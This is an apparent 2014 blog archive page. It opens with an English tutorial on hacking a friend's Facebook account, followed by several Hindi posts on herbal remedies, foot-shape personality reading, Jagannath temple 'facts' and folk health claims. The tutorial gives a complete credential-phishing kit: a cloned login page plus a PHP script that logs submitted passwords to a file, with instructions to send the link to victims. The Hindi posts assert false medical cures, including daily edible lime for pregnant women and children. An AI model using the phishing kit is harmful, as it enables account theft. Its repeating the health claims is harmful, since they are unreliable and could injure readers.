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Oct 3, 2014

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Sep 14, 2014

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How to hack Facebook with phishing page

  How to hack Facebook with phishing page


                                                                                                      by:binit
                                                         

hacking facebook account
                                                            





As we all want to hack our friend facebook account,and want to read all his personal things.
Today i m gonna teach you how to hack a facebook account with a phishing page.








phishing:


Phishing is attempting to acquire information (and sometimes, indirectly, money) such as usernames, passwords, and credit card details by masquerading as a trustworthy entity in an electronic communication. Communications purporting to be from popular social web sites, auction sites, online payment processors or IT administrators are commonly used to lure the unsuspecting public. Phishing is typically carried out by e-mail spoofing or instant messaging,and it often directs users to enter details at a fake website whose look and feel are almost identical to the legitimate one. Phishing is an example of social engineering techniques used to deceive users, and exploits the poor usability of current web security technologies. Attempts to deal with the growing number of reported phishing incidents includelegislation, user training, public awareness, and technical security measures.

today we create a facebook phishing page which look similar to a facebook page but it's not actually a facebook page,when victim enter his username and password you will be able to see that.Interesting.....

FACEBOOK PHISHING....

facebook hack
                                                                         


steps to create a phishing page:

1.Go to the Facebook page ,and then right click on the page, u will see the option view source page,click on that.



                                          
2.now a new tab will open which contain a source code,Select all the stuff and paste it in a notepad.
3.Now open the notepad and press CTRL+F,and type ACTION.

facebook phishing script
                                                  

                                           
4.You will have to find a text which looks like ..

                                       action="https://www.facebook.com/login.php?login_attempt=1"

5.delete all the text written in red colour and instead of it write post.php.then it will look like...

                                                 action="post.php"

6.Now save it on your desktop with the name index.htm,not index.html,remember.

7.Now your phishing page is ready.it will look like a pic given below .

hacking script
index

                                                   
8.Open a new notepad and save the given data with the name post.php.

<?php
header ('Location:http://www.facebook.com/');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?> 

9.You have two files now one is index.htm and another is post.php,remember file extension is important.

10.Now u have to upload it in a web hosting site ,i prefer u to use www.000webhost.com or else www.,my3gb.com.

11.I prefer u to use 000webhost because it will be easy to use.
                           
hosting website
                                              

12.You have to make a account in that ,after that it looks like a picture given below.


facebook script hosting website
                                                                          
13.Now go control pannel,then on file manager.

14.After that a new window will pop up.Now go to public_html.

                                           
                                        

15.Delete the file named default.php,after that upload two files index.htm and post.php one by        one .


                                        
16.Now the last step click on view of index.htm it will look same as facebook page.


this is your Facebook phishing page
                                         

17.Copy the url of that page and send this link to your victim,when your victim try to login in to it with the username and password .the page redirectly connect to facebook. and you will be now able to see his password.

18.Open your 000webhost account and go to file manager then public_html,here you find a new file named username.txt.
                                

                                        

19.Click on view now u will have your friend's password and email id.

                                           

20.This is a simple trick to hack any Facebook password account by phishing page.

21.If you are not able to create a phishing page then i will provide u a video tutorial link,look
      in to the description of that video u will find a prepared module of phishing pages,download  
      it and enjoy.


       click here to view a video tutorial with the readymade phishing pages....

note:

phishing is a illegal activity so don't try on anyone.this tutorial is for educational purpose.
Not only Facebook u can make any phishing page of any website by following these steps....
u can hack Gmail,Yahoo,Orkut,Twitter and many more.....




अशोक -

 
 
अशोक -
यह भारतीय वनौषधियों में एक दिव्य रत्न है | भारतवर्ष में इसकी कीर्ति का गान बहुत प्राचीनकाल से हो रहा है | प्राचीनकाल में शोक को दूर करने और प्रसन्नता के लिए अशोक वाटिकाओं एवं उद्यानों का प्रयोग होता था और इसी आश्रय से इसके नाम शोकनाश ,विशोक,अपशोक आदि रखे गए हैं| सनातनी वैदिक लोग तो इस पेड़ को पवित्र एवं आदरणीय मानते ही हैं ,किन्तु बौद्ध भी इसे विशेष आदर की दॄष्टि से देखते हैं क्यूंकि कहा जाता है की भगवानबुद्ध का जन्म अशोक वृक्ष के नीचे हुआ था | अशोक के वृक्ष भारतवर्ष में सर्वत्र बाग़ बगीचों में तथा सड़कों के किनारे सुंदरता के लिए लगाए जाते हैं | भारत के हिमालयी क्षेत्रों तथा पश्चिमी प्रायद्वीप में ७५० मीटर की ऊंचाई पर मुख्यतः पूर्वी बंगाल, बिहार,उत्तराखंड,कर्नाटक एवं महाराष्ट्र में साधारणतया नहरों के किनारे व सदाहरित वनों में पाया जाता है| मुख्यतया अशोक की दो प्रजातियां होती हैं ,जिनका प्रयोग चिकित्सा के लिए किया जाता है |
आज हम आपको अशोक के कुछ औषधीय गुणों से अवगत कराएंगे -

१- श्वास - ६५ मिलीग्राम अशोक बीज चूर्ण को पान के बीड़े में रखकर खिलने से श्वास रोग में लाभ होता है |
२- रक्तातिसार- अशोक के तीन-चार ग्राम फूलों को जल में पीस कर पिलाने से रक्तातिसार (खूनी दस्त ) में लाभ होता है |
३- रक्तार्श ( बवासीर )- अशोक की छाल और इसके फूलों को बराबर की मात्रा में ले कर दस ग्राम मात्रा को रात्रि में एक गिलास पानी में भिगोकर रख दें , सुबह पानी छान कर पी लें इसी प्रकार सुबह का भिगोया हुआ शाम को पी लें ,इससे खूनी बवासीर में शीघ्र लाभ मिलता है |
४- अशोक के १-२ ग्राम बीज को पानी में पीस कर दो चम्मच की मात्रा में पीस कर पीने से पथरी के दर्द में आराम मिलता है |
५-प्रदर - अशोक छाल चूर्ण और मिश्री को संभाग खरल कर , तीन ग्राम की मात्रा में लेकर गो-दुग्ध प्रातः -सायं सेवन करने से श्वेत -प्रदर में लाभ होता है |
अशोक के २-३ ग्राम फूलों को जल में पीस कर पिलाने से रक्तप्रदर में लाभ होता है |
 

मुलेठी (यष्टीमधु ) -

मुलेठी (यष्टीमधु ) -
मुलेठी से हम सब परिचित हैं | भारतवर्ष में इसका उत्पादन कम ही होता है | यह अधिकांश रूप से विदेशों से आयातित की जाती है| मुलेठी की जड़ एवं सत सर्वत्र बाज़ारों में पंसारियों के यहाँ मिलता है | चरकसंहिता में रसायनार्थ यष्टीमधु का प्रयोग विशेष रूप से वर्णित है | सुश्रुत संहिता में यष्टिमधु फल का प्रयोग विरेचनार्थ मिलता है | मुलेठी रेशेदार,गंधयुक्त तथा बहुत ही उपयोगी होती है | यह ही एक ऐसी वस्तु है जिसका सेवन किसी भी मौसम में किया जा सकता है | मुलेठी वातपित्तशामक है | यह खाने में ठंडी होती है | इसमें ५० प्रतिशत पानी होता है | इसका मुख्य घटक ग्लीसराइज़ीन है जिसके कारण ये खाने में मीठा होता है | इसके अतिरिक्त इसमें घावों को भरने वाले विभिन्न घटक भी मौजूद हैं | मुलेठी खांसी,जुकाम,उल्टी व पित्त को बंद करती है | यह पेट की जलन व दर्द,पेप्टिक अलसर तथा इससे होने वाली खून की उल्टी में भी बहुत उपयोगी है |
आज हम आपको मुलेठी के कुछ औषधीय गुणों से अवगत कराएंगे -

१- मुलेठी चूर्ण और आंवला चूर्ण २-२ ग्राम की मात्रा में मिला लें | इस चूर्ण को दो चम्मच शहद मिलाकर सुबह- शाम चाटने से खांसी में बहुत लाभ होता है |
२- मुलेठी-१० ग्राम
काली मिर्च -१० ग्राम
लौंग -०५ ग्राम
हरड़ -०५ ग्राम
मिश्री - २० ग्राम
ऊपर दी गयी सारी सामग्री को मिलाकर पीस लें | इस चूर्ण में से एक चम्मच चूर्ण सुबह शहद के साथ चाटने से पुरानी खांसी और जुकाम,गले की खराबी,सिर दर्द आदि रोग दूर हो जाते हैं |
३- एक चम्मच मुलेठी का चूर्ण एक कप दूध के साथ लेने से पेशाब की जलन दूर हो जाती है |
४- मुलेठी को मुहं में रखकर चूंसने से मुहँ के छाले मिटते हैं तथा स्वर भंग (गला बैठना) में लाभ होता है |
५- एक चम्मच मुलेठी चूर्ण में शहद मिलाकर दिन में तीन बार सेवन करने से पेट और आँतों की ऐंठन व दर्द का शमन होता है |
६- फोड़ों पर मुलेठी का लेप लगाने से वो जल्दी पक कर फूट जाते हैं |

अमरुद के पत्ते

तुलसी के बीज का महत्त्व::

जब भी तुलसी में खूब फुल यानी मंजिरी लग जाए तो उन्हें पकने पर तोड़ लेना चाहिए वरना तुलसी के झाड में चीटियाँ और कीड़ें लग जाते है और उसे समाप्त कर देते है . इन पकी हुई मंजिरियों को रख ले . इनमे से काले काले बीज अलग होंगे उसे एकत्र कर ले . यही सब्जा है . अगर आपके घर में नही है तो बाजार में पंसारी या आयुर्वैदिक दवाईयो की दुकान पर मिल जाएंगे
शीघ्र पतन एवं वीर्य की कमी:: तुलसी के बीज 5 ग्राम रोजाना रात को गर्म दूध के साथ लेने से समस्या दूर होती है
नपुंसकता:: तुलसी के बीज 5 ग्राम रोजाना रा
त को गर्म दूध के साथ लेने से नपुंसकता दूर होती है और यौन-शक्ति में बढोतरि होती है।
मासिक धर्म में अनियमियता:: जिस दिन मासिक आए उस दिन से जब तक मासिक रहे उस दिन तक तुलसी के बीज 5-5 ग्राम सुबह और शाम पानी या दूध के साथ लेने से मासिक की समस्या ठीक होती है और जिन महिलाओ को गर्भधारण में समस्या है वो भी ठीक होती है

तुलसी के पत्ते गर्म तासीर के होते है पर सब्जा शीतल होता है . इसे फालूदा में इस्तेमाल किया जाता है . इसे भिगाने से यह जेली की तरह फुल जाता है . इसे हम दूध या लस्सी के साथ थोड़ी देशी गुलाब की पंखुड़ियां दाल कर ले तो गर्मी में बहुत ठंडक देता है .इसके अलावा यह पाचन सम्बन्धी गड़बड़ी को भी दूर करता है .यह पित्त घटाता है ये त्रीदोषनाशक , क्षुधावर्धक है .

Aug 22, 2014

Rounding Formulas in Excel

Jul 23, 2014

घाघ और भड्डरी की कहावतें

घाघ और भड्डरी की कहावतें

आपने चाणक्य नीति तो पढ़ी होगी। इस पुस्तक में उसी की तरह नीति सम्बन्धी कहावतें दी गई है। कुछ कहावतें कृषि से भी सम्बंधित है. सभी का हिन्दी में अनुवाद किया गया है।
ये सभी कहावतें उत्तर भारत में खूब प्रचलित है। ये कहावतें ज्ञान से भरपूर है। ये इंसान को जीवन में सफलता प्राप्त करने में बहुत सहयोग करती है।

उदहारणदेखिये:


जो उधार लेकर कर्ज देता है, जो छप्पर के घर में में ताला लगता है और जो साले के साथ बहिन को भेजता है , घाघ कहते है कि इन तीनो का मुंह काला होता है।

या

हंसकर बात करने वाला ठाकुर(कोतवाल) और खांसने वाला चोर, घाघ कहते है कि इन ससुरो को गहरे पानी में डुबो देना चाहिए।


जो उधार लेकर कर्ज देता है, जो छप्पर के घर में में ताला लगता है और जो साले के साथ बहिन को भेजता है , घाघ कहते है कि इन तीनो का मुंह काला होता है।






डाउनलोड लिंक:
यहाँ क्लिक करें-

Apr 19, 2014

पैरों से पता चल जाता है कौन है कैसा इंसान

पैरों से पता चल जाता है कौन है कैसा इंसान....................
==========================================
यदि आप किसी व्यक्ति के स्वभाव और आदतों के विषय में जानना चाहते हैं तो यहां एक विधि बताई जा रही है। इस विधि के अनुसार किसी भी व्यक्ति के पैरों का शेप देखकर भी स्वभाव मालूम किया जा सकता है। हर व्यक्ति के पैरों का शेप अलग होता है। यहां पैरों के पांच प्रकार के शेप्स का वर्णन किया जा रहा है।

आप इन शेप्स में से अपने पैर का शेप मैच करके स्वभाव से जुड़ी खास बातें जान सकते हैं। इसी प्रकार आप दूसरों के पैरों का शेप देखकर उनके विषय में भी काफी कुछ समझ सकते हैं।

ज्योतिष के अंतर्गत शरीर के अंगों और लक्षणों के देखकर व्यक्तित्व के साथ भविष्य बताने की विधि को सामुद्रिक शास्त्र कहा जाता है। ये ज्योतिष का अभिन्न अंग है और इस शास्त्र का इतिहास भी काफी प्राचीन है। सामुद्रिक विद्या के अनुसार मनुष्य के सिर से लेकर पैर तक हर अंग के लिए विशेष लक्षण बताए गए हैं। अंगों की बनावट, आकार और रंग से व्यक्तित्व के रहस्य मालूम होते हैं और इनसे भविष्य की जानकारी भी मिलती है। किसी भी व्यक्ति के पैरों का शेप देखकर भी आसानी से बताया जा सकता है कि स्त्री या पुरुष व्यवहार, आचार-विचार और कार्यक्षेत्र में कैसा है।

No. 1 दूसरों पर हावी होने का स्वभाव
==========================================
जिन लोगों के पैरों में अंगूठे से घटते क्रम में उंगलियां होती हैं, वे लोग दूसरों पर हावी होने का प्रयास करते हैं। ऐसे पैर का शेप व्यक्ति को अधिकार जताने वाला बनाता है। इस प्रकार के पैर वाले लोग यही चाहते हैं कि हर जगह उन्हें पूरा मान-सम्मान मिले और सभी उनकी बात का अक्षरश: पालन करें।
यदि घर-परिवार या समाज में कोई व्यक्ति इनकी इच्छा के अनुसार नहीं चलता है तो इन्हें गुस्सा आता है। इस प्रकार के पैर होते हैं तो व्यक्ति अपने जीवन साथी पर आवश्यकता से अधिक हावी रहता हैं।

No.2 कठिन परिश्रम करने वाले लोग
=========================================
जिन लोगों के पैर में अंगूठा और उसके पास की दो उंगलियां बराबर हों और शेष उंगलियां छोटी हों तो व्यक्ति कठिन परिश्रम करने वाला होता है। ऐसे लोग अपने श्रम के बल पर कार्यों में सफलता प्राप्त करते हैं। श्रम के बल पर ही इन्हें मान-सम्मान भी प्राप्त होता है। ऐसे पैर वाले इंसान दूसरों के कार्य की सराहना भी करते हैं और इन्हें कर्मशील लोग विशेष रूप से पसंद होते हैं।
इस प्रकार के पैर का शेप होने पर व्यक्ति घर-परिवार में भी अपनी जिम्मेदारियों का निर्वाह अच्छी तरह से करता है। इन्हें श्रम के बल पर ही कई उपलब्धियां हासिल होती हैं।

No. 3 अद्धुत ढंग से करते हैं कार्य
==========================================
जिन लोगों के पैरों में अंगूठे के पास वाली उंगली अधिक बड़ी होती हैं और शेष उंगलियां छोटी होती हैं, वे लोग किसी भी काम को यूनिक तरीके से करना पसंद करते हैं। कार्यों के संबंध में इनकी प्लानिंग बहुत अलग और श्रेष्ठ होती है। अपनी योजनाओं के बल इन्हें विशेष स्थान भी मिलता है। घर-परिवार में भी इन लोगों को विशेष सुख-सुविधाएं प्राप्त होती हैं।

No. 4 शांति प्रिय होते हैं ये लोग
==========================================
जिन लोगों के पैर में अंगूठा लंबा और शेष उंगलियां छोटी हों और उंगलियों की लंबाई बराबर हो तो व्यक्ति कूल माइंड होता है। इन्हें किसी भी काम को ठंडे दिमाग से करना पसंद होता है। ये लोग कभी भी एकदम आवेश में नहीं आते हैं। ये लोग विरोधियों पर शांति के साथ ही विजय प्राप्त करने वाले होते हैं। शांति प्रिय होने के कारण ये लोग कभी-कभी आलसी भी हो जाते हैं। इसी आदत की वजह से कार्यों में देरी भी हो सकती है।

No. 5 ऊर्जावान होते हैं ऐसे लोग
=======================================
जिन लोगों के पैरों में अंगूठे के पास वाली उंगली अधिक लंबी, उसके बाद दूसरे उंगली थोड़ी छोटी और शेष उंगलियां और छोटी हों तो व्यक्ति ऊर्जावान होता है। आमतौर ऐसे लोग क्रेजी होते हैं। ये किसी भी काम को पूरे जोश और ऊर्जा के साथ पूरा करते हैं। क्रेजी होने की वजह से इन्हें पागलपन और मस्ती करना भी काफी पसंद होता है। ये लोग जीवन का पूरी तरह आनंद लेते हैं। हमेशा प्रसन्न रहते हैं और दूसरों को खुश रखने का प्रयास करते हैं।

जानकारी आपको कैसी लगी अवश्य बताये ??
पैरों से पता चल जाता है कौन है कैसा इंसान....................
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यदि आप किसी व्यक्ति के स्वभाव और आदतों के विषय में जानन...ा चाहते हैं तो यहां एक विधि बताई जा रही है। इस विधि के अनुसार किसी भी व्यक्ति के पैरों का शेप देखकर भी स्वभाव मालूम किया जा सकता है। हर व्यक्ति के पैरों का शेप अलग होता है। यहां पैरों के पांच प्रकार के शेप्स का वर्णन किया जा रहा है।
आप इन शेप्स में से अपने पैर का शेप मैच करके स्वभाव से जुड़ी खास बातें जान सकते हैं। इसी प्रकार आप दूसरों के पैरों का शेप देखकर उनके विषय में भी काफी कुछ समझ सकते हैं।
ज्योतिष के अंतर्गत शरीर के अंगों और लक्षणों के देखकर व्यक्तित्व के साथ भविष्य बताने की विधि को सामुद्रिक शास्त्र कहा जाता है। ये ज्योतिष का अभिन्न अंग है और इस शास्त्र का इतिहास भी काफी प्राचीन है। सामुद्रिक विद्या के अनुसार मनुष्य के सिर से लेकर पैर तक हर अंग के लिए विशेष लक्षण बताए गए हैं। अंगों की बनावट, आकार और रंग से व्यक्तित्व के रहस्य मालूम होते हैं और इनसे भविष्य की जानकारी भी मिलती है। किसी भी व्यक्ति के पैरों का शेप देखकर भी आसानी से बताया जा सकता है कि स्त्री या पुरुष व्यवहार, आचार-विचार और कार्यक्षेत्र में कैसा है।
No. 1 दूसरों पर हावी होने का स्वभाव
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जिन लोगों के पैरों में अंगूठे से घटते क्रम में उंगलियां होती हैं, वे लोग दूसरों पर हावी होने का प्रयास करते हैं। ऐसे पैर का शेप व्यक्ति को अधिकार जताने वाला बनाता है। इस प्रकार के पैर वाले लोग यही चाहते हैं कि हर जगह उन्हें पूरा मान-सम्मान मिले और सभी उनकी बात का अक्षरश: पालन करें।
यदि घर-परिवार या समाज में कोई व्यक्ति इनकी इच्छा के अनुसार नहीं चलता है तो इन्हें गुस्सा आता है। इस प्रकार के पैर होते हैं तो व्यक्ति अपने जीवन साथी पर आवश्यकता से अधिक हावी रहता हैं।
No.2 कठिन परिश्रम करने वाले लोग
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जिन लोगों के पैर में अंगूठा और उसके पास की दो उंगलियां बराबर हों और शेष उंगलियां छोटी हों तो व्यक्ति कठिन परिश्रम करने वाला होता है। ऐसे लोग अपने श्रम के बल पर कार्यों में सफलता प्राप्त करते हैं। श्रम के बल पर ही इन्हें मान-सम्मान भी प्राप्त होता है। ऐसे पैर वाले इंसान दूसरों के कार्य की सराहना भी करते हैं और इन्हें कर्मशील लोग विशेष रूप से पसंद होते हैं।
इस प्रकार के पैर का शेप होने पर व्यक्ति घर-परिवार में भी अपनी जिम्मेदारियों का निर्वाह अच्छी तरह से करता है। इन्हें श्रम के बल पर ही कई उपलब्धियां हासिल होती हैं।
No. 3 अद्धुत ढंग से करते हैं कार्य
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जिन लोगों के पैरों में अंगूठे के पास वाली उंगली अधिक बड़ी होती हैं और शेष उंगलियां छोटी होती हैं, वे लोग किसी भी काम को यूनिक तरीके से करना पसंद करते हैं। कार्यों के संबंध में इनकी प्लानिंग बहुत अलग और श्रेष्ठ होती है। अपनी योजनाओं के बल इन्हें विशेष स्थान भी मिलता है। घर-परिवार में भी इन लोगों को विशेष सुख-सुविधाएं प्राप्त होती हैं।
No. 4 शांति प्रिय होते हैं ये लोग
==========================================
जिन लोगों के पैर में अंगूठा लंबा और शेष उंगलियां छोटी हों और उंगलियों की लंबाई बराबर हो तो व्यक्ति कूल माइंड होता है। इन्हें किसी भी काम को ठंडे दिमाग से करना पसंद होता है। ये लोग कभी भी एकदम आवेश में नहीं आते हैं। ये लोग विरोधियों पर शांति के साथ ही विजय प्राप्त करने वाले होते हैं। शांति प्रिय होने के कारण ये लोग कभी-कभी आलसी भी हो जाते हैं। इसी आदत की वजह से कार्यों में देरी भी हो सकती है।
No. 5 ऊर्जावान होते हैं ऐसे लोग
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जिन लोगों के पैरों में अंगूठे के पास वाली उंगली अधिक लंबी, उसके बाद दूसरे उंगली थोड़ी छोटी और शेष उंगलियां और छोटी हों तो व्यक्ति ऊर्जावान होता है। आमतौर ऐसे लोग क्रेजी होते हैं। ये किसी भी काम को पूरे जोश और ऊर्जा के साथ पूरा करते हैं। क्रेजी होने की वजह से इन्हें पागलपन और मस्ती करना भी काफी पसंद होता है। ये लोग जीवन का पूरी तरह आनंद लेते हैं। हमेशा प्रसन्न रहते हैं और दूसरों को खुश रखने का प्रयास करते हैं।

Apr 18, 2014

पुरी में जगन्नाथ मंदिर केे कुछ आश्चर्यजनक तथ्य

पुरी में जगन्नाथ मंदिर केे कुछ आश्चर्यजनक तथ्य:-

1. मन्दिर के ऊपर स्थापित ध्वज सदैव हवा के विपरीत दिशा में लहराता है।

2. पुरी में किसी भी स्थान से आप मन्दिर के ऊपर लगे सुदर्शन चक्र को देखेंगे तो वह आपको सदैव अपने सामने ही लगा दिखेगा।

3. सामान्य दिनों के समय हवा समुद्र से जमीन की तरफ आती है, और शाम के दौरान इसके विपरीत, लेकिन पुरी में इसका उल्टा होता है ।

4. पक्षी या विमानों को मंदिर के ऊपर उड़ते हुए नहीं पायेगें।

5. मुख्य गुंबद की छाया दिन के किसी भी समय अदृश्य ही रहती है ।

6. मंदिर के अंदर पकाने के लिए भोजन की मात्रा पूरे वर्ष के लिए रहती है। प्रसाद की एक भी मात्रा कभी भी व्यर्थ नहीं जाती, चाहे हजार लोगों से 20 लाख लोगों को खिला सकते हैं ।

7. मंदिर की रसोई में प्रसाद पकाने के लिए 7 बर्तन एक-दूसरे पर रखा जाता है और सब कुछ लकड़ी पर ही पकाया जाता है । इस प्रक्रिया में शीर्ष बर्तन में सामग्री पहले पकती है फिर क्रमश: नीचे की तरफ एक के बाद एक पकती जाती है।

8. मन्दिर के सिंहद्वार में पहला कदम प्रवेश करने पर ही (मंदिर के अंदर से) आप सागर द्वारा निर्मित किसी भी ध्वनि नहीं सुन सकते, आप (मंदिर के बाहर से) एक ही कदम को पार करें जब आप इसे सुन सकते हैं, इसे शाम को स्पष्ट रूप से अनुभव किया जा सकता है।

साथ में यह भी जाने:-
-----------------

मन्दिर का रसोईघर दुनिया का सबसे बड़ा रसोईघर है।

प्रति दिन सांयकाल मन्दिर के ऊपर स्थापित ध्वज को मानव द्वारा उल्टा चढ़ कर बदला जाता है।

मन्दिर का क्षेत्रफल चार लाख वर्ग फिट में है।

मन्दिर की ऊंचाई 214 फिट है।

विशाल रसोई घर में भगवान जगन्नाथ को चढ़ाने वाले महाप्रसाद का निर्माण करने हेतु 500 रसोईये एवं उनके 300 सहायक-सहयोगी एक साथ काम करते है।

हमारे पूर्वज कितने बढे इंजीनियर रहें होंगे 

अपनी भाषा अपनी संस्कृति अपनी सभ्यता पर गर्व करो 
गर्व से कहो हम हिन्दुस्तानी है 

ॐ ॐ
पुरी में जगन्नाथ मंदिर केे कुछ आश्चर्यजनक तथ्य:-
1. मन्दिर के ऊपर स्थापित ध्वज सदैव हवा के विपरीत दिशा में लहराता है।
2. पुरी में किसी भी स्थान से आप मन्दिर के ...ऊपर लगे सुदर्शन चक्र को देखेंगे तो वह आपको सदैव अपने सामने ही लगा दिखेगा।
3. सामान्य दिनों के समय हवा समुद्र से जमीन की तरफ आती है, और शाम के दौरान इसके विपरीत, लेकिन पुरी में इसका उल्टा होता है ।
4. पक्षी या विमानों को मंदिर के ऊपर उड़ते हुए नहीं पायेगें।
5. मुख्य गुंबद की छाया दिन के किसी भी समय अदृश्य ही रहती है ।
6. मंदिर के अंदर पकाने के लिए भोजन की मात्रा पूरे वर्ष के लिए रहती है। प्रसाद की एक भी मात्रा कभी भी व्यर्थ नहीं जाती, चाहे हजार लोगों से 20 लाख लोगों को खिला सकते हैं ।
7. मंदिर की रसोई में प्रसाद पकाने के लिए 7 बर्तन एक-दूसरे पर रखा जाता है और सब कुछ लकड़ी पर ही पकाया जाता है । इस प्रक्रिया में शीर्ष बर्तन में सामग्री पहले पकती है फिर क्रमश: नीचे की तरफ एक के बाद एक पकती जाती है।
8. मन्दिर के सिंहद्वार में पहला कदम प्रवेश करने पर ही (मंदिर के अंदर से) आप सागर द्वारा निर्मित किसी भी ध्वनि नहीं सुन सकते, आप (मंदिर के बाहर से) एक ही कदम को पार करें जब आप इसे सुन सकते हैं, इसे शाम को स्पष्ट रूप से अनुभव किया जा सकता है।
साथ में यह भी जाने:-
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मन्दिर का रसोईघर दुनिया का सबसे बड़ा रसोईघर है।
प्रति दिन सांयकाल मन्दिर के ऊपर स्थापित ध्वज को मानव द्वारा उल्टा चढ़ कर बदला जाता है।
मन्दिर का क्षेत्रफल चार लाख वर्ग फिट में है।
मन्दिर की ऊंचाई 214 फिट है।
विशाल रसोई घर में भगवान जगन्नाथ को चढ़ाने वाले महाप्रसाद का निर्माण करने हेतु 500 रसोईये एवं उनके 300 सहायक-सहयोगी एक साथ काम करते है।
हमारे पूर्वज कितने बढे इंजीनियर रहें होंगे
अपनी भाषा अपनी संस्कृति अपनी सभ्यता पर गर्व करो
गर्व से कहो हम हिन्दुस्तानी है
ॐ ॐ
 

Apr 14, 2014

सिल बट्टा का विज्ञान :

सिल बट्टा का विज्ञान :
प्राचीन भारत के ऋषियों ने भोजन विज्ञानं, माता और बहनों की स्वास्थ को ध्यान में रखते हुए सिल बट्टा का अविष्कार किया ! यह तकनीक का विकास समाज की प्रगति और परियावरण की रक्षा को ध्यान में रखते हुए किया गया। आधुनिक काल में भी सिल बट्टे
का प्रयोग बहुत लाभकारी है -
१. सिल बट्टा पत्थर से बनता है, पत्थर में सभी प्रकार की खनिजों की भरपूर मात्रा होती है, इसलिए सिल बट्टे से पिसा हुआ मसाले से बना भोजन का स्वाद सबसे उत्तम होता है।
२. सिल बट्टे में मसाले पिसते वक्त जो व्यायाम होता है उससे पेट बाहर नही निकलता और जिम्नासियम का खर्चा बचता है।
३. माताए और बहने जब सिल बट्टे का प्रयोग करते है तो उनके यूटेरस का व्यायाम होता है जिससे कभी सिजेरियन डिलीवरी नही होती, हमेशा नोर्मल डिलीवरी होती है।
४. सिल बट्टे का प्रयोग करने से मिक्सर चलाने की बिजली का खर्चा भी बचता है।

मित्रों,
श्री राजीव दीक्षित जी के एक व्याख्यान में चूने के गुणों
और सेवन के लाभ का वर्णन किया है
- चूना जो पान में लगा के खाया जाता है , उसकी एक डिब्बी ला कर घर में रखे .
- यह सत्तर प्रकार की बीमारियों को ठीक कर देता है . गेहूँ क
े दाने के बराबर चूना गन्ने के रस में मिलाकर पिलाने से बहुत जल्दी पीलिया ठीक हो जाता है
- चूना नपुंसकता की सबसे अच्छी दवा है - अगर किसी के शुक्राणु नही बनता उसको अगर गन्ने के रस के साथ चूना पिलाया जाये तो साल डेढ़ साल में भरपूर शुक्राणु बनने लगेंगे . जिन माताओं के शरीर में अन्डे नही बनते उन्हें भी इस चूने का सेवन करना चाहिए .
- विद्यार्थीओ के लिए चूना बहुत अच्छा है जो लम्बाई बढाता है - गेहूँ के दाने के बराबर चूना रोज दही में मिला के खाना चाहिए, दही नही है तो दाल में मिला के या पानी में मिला के लिया जा सकता है - इससे लम्बाई बढने के साथ साथ स्मरण शक्ति भी बहुत अच्छी होती है । जिन बच्चों की बुद्धि कम है ऐसे मतिमंद बच्चों के लिए सबसे अच्छी दवा है चूना . जो बच्चे बुद्धि से कम है, दिमाग देर में काम करता है, देर में सोचते है हर चीज उनकी स्लो है उन सभी बच्चे को चूना खिलाने से अच्छे हो जायेंगे ।
- बहनों को अपने मासिक धर्म के समय अगर कुछ भी तकलीफ होती हो तो उसका सबसे अच्छी दवा है चूना । मेनोपौज़ की सभी समस्याओं के लिए गेहूँ के दाने के बराबर चूना हर दिन खाना दाल में, लस्सी में, नही तो पानी में घोल के पीना चाहिए . इससे ओस्टीओपोरोसिस होने की संभावना भी नहीं रहती .
- जब कोई माँ गर्भावस्था में है तो चूना रोज खाना चाहिए क्योंकि गर्भवती माँ को सबसे ज्यादा केल्शियम की जरुरत होती है और चूना केल्शियम का सबसे बड़ा भंडार है . गर्भवती माँ को चूना खिलाना चाहिए अनार के रस में - अनार का रस एक कप और चूना गेहूँ के दाने के बराबर ये मिलाके रोज पिलाइए नौ महीने तक लगातार दीजिये तो चार फायदे होंगे - पहला फायदा होगा के माँ को बच्चे के जनम के समय कोई तकलीफ नही होगी और नॉर्मल डीलिवरी होगी , दूसरा बच्चा जो पैदा होगा वो बहुत हृष्ट पुष्ट और तंदुरुस्त होगा , तीसरा फ़ायदा वो बच्चा जिन्दगी में जल्दी बीमार नही पड़ता जिसकी माँ ने चूना खाया , और चौथा सबसे बड़ा लाभ है वो बच्चा बहुत होशियार होता है बहुत Intelligent और Brilliant होता है उसका IQ बहुत अच्छा होता है .
- चूना घुटने का दर्द ठीक करता है , कमर का दर्द ठीक करता है , कंधे का दर्द ठीक करता है, एक खतरनाक बीमारी है Spondylitis वो चुने से ठीक होता है . कई बार हमारे रीढ़ की हड्डी में जो मनके होते है उसमे दूरी बढ़ जाती है Gap आ जाता है जिसे ये चूना ही ठीक करता है . रीढ़ की हड्डी की सब बीमारिया चूने से ठीक होती है . अगर हड्डी टूट जाये तो टूटी हुई हड्डी को जोड़ने की ताकत सबसे ज्यादा चूने में है . इसके लिए चूने का सेवन सुबह खाली पेट करे .
- अगर मुंह में ठंडा गरम पानी लगता है तो चूना खाने से बिलकुल ठीक हो जाता है , मुंह में अगर छाले हो गए है तो चूने का पानी पिने से तुरन्त ठीक हो जाता है । शरीर में जब खून कम हो जाये तो चूना जरुर लेना चाहिए , एनीमिया है खून की कमी है उसकी सबसे अच्छी दवा है ये चूना . गन्ने के रस में , या संतरे के रस में , नही तो सबसे अच्छा है अनार के रस में डाल कर चूना ले . अनार के रस में चूना पिने से खून बहुत बढता है , बहुत जल्दी खून बनता है - एक कप अनार का रस गेहूँ के दाने के बराबर चूना सुबह खाली पेट ले .
- भारत के जो लोग चूने से पान खाते है, बहुत होशियार है और वे महर्षि वाग्भट के अनुयायी है . पर पान बिना तम्बाखू , सुपारी और कत्थे के ले . तम्बाखू ज़हर है और चूना अमृत है . कत्था केन्सर करता है, पान में सौंठ , इलायची , लौंग , केसर , सौंफ , गुलकंद , चूना , कसा हुआ नारियल आदि डाल के खाए .
- अगर घुटने में घिसाव आ गया हो और डॉक्टर कहे के घुटना बदल दो तो भी जरुरत नही चूना खाते रहिये और हरसिंगार ( पारिजातक या प्राजक्ता ) के पत्ते का काढ़ा पीजिये , घुटने बहुत अच्छे काम करेंगे । राजीव भाई कहते है चूना खाइए पर चूना लगाइए मत किसको भी .ये चूना लगाने के लिए नही है खाने के लिए है ; आजकल हमारे देश में चूना लगाने वाले बहुत है पर ये भगवान ने खाने के लिए दिया है
अपना देश अपनी सभ्यता अपनी संस्कृति अपनी भाषा अपना गौरव
वन्देमातरम्

तुलसी के फायदे

आइये जानते हैं तुलसी के फायदे...
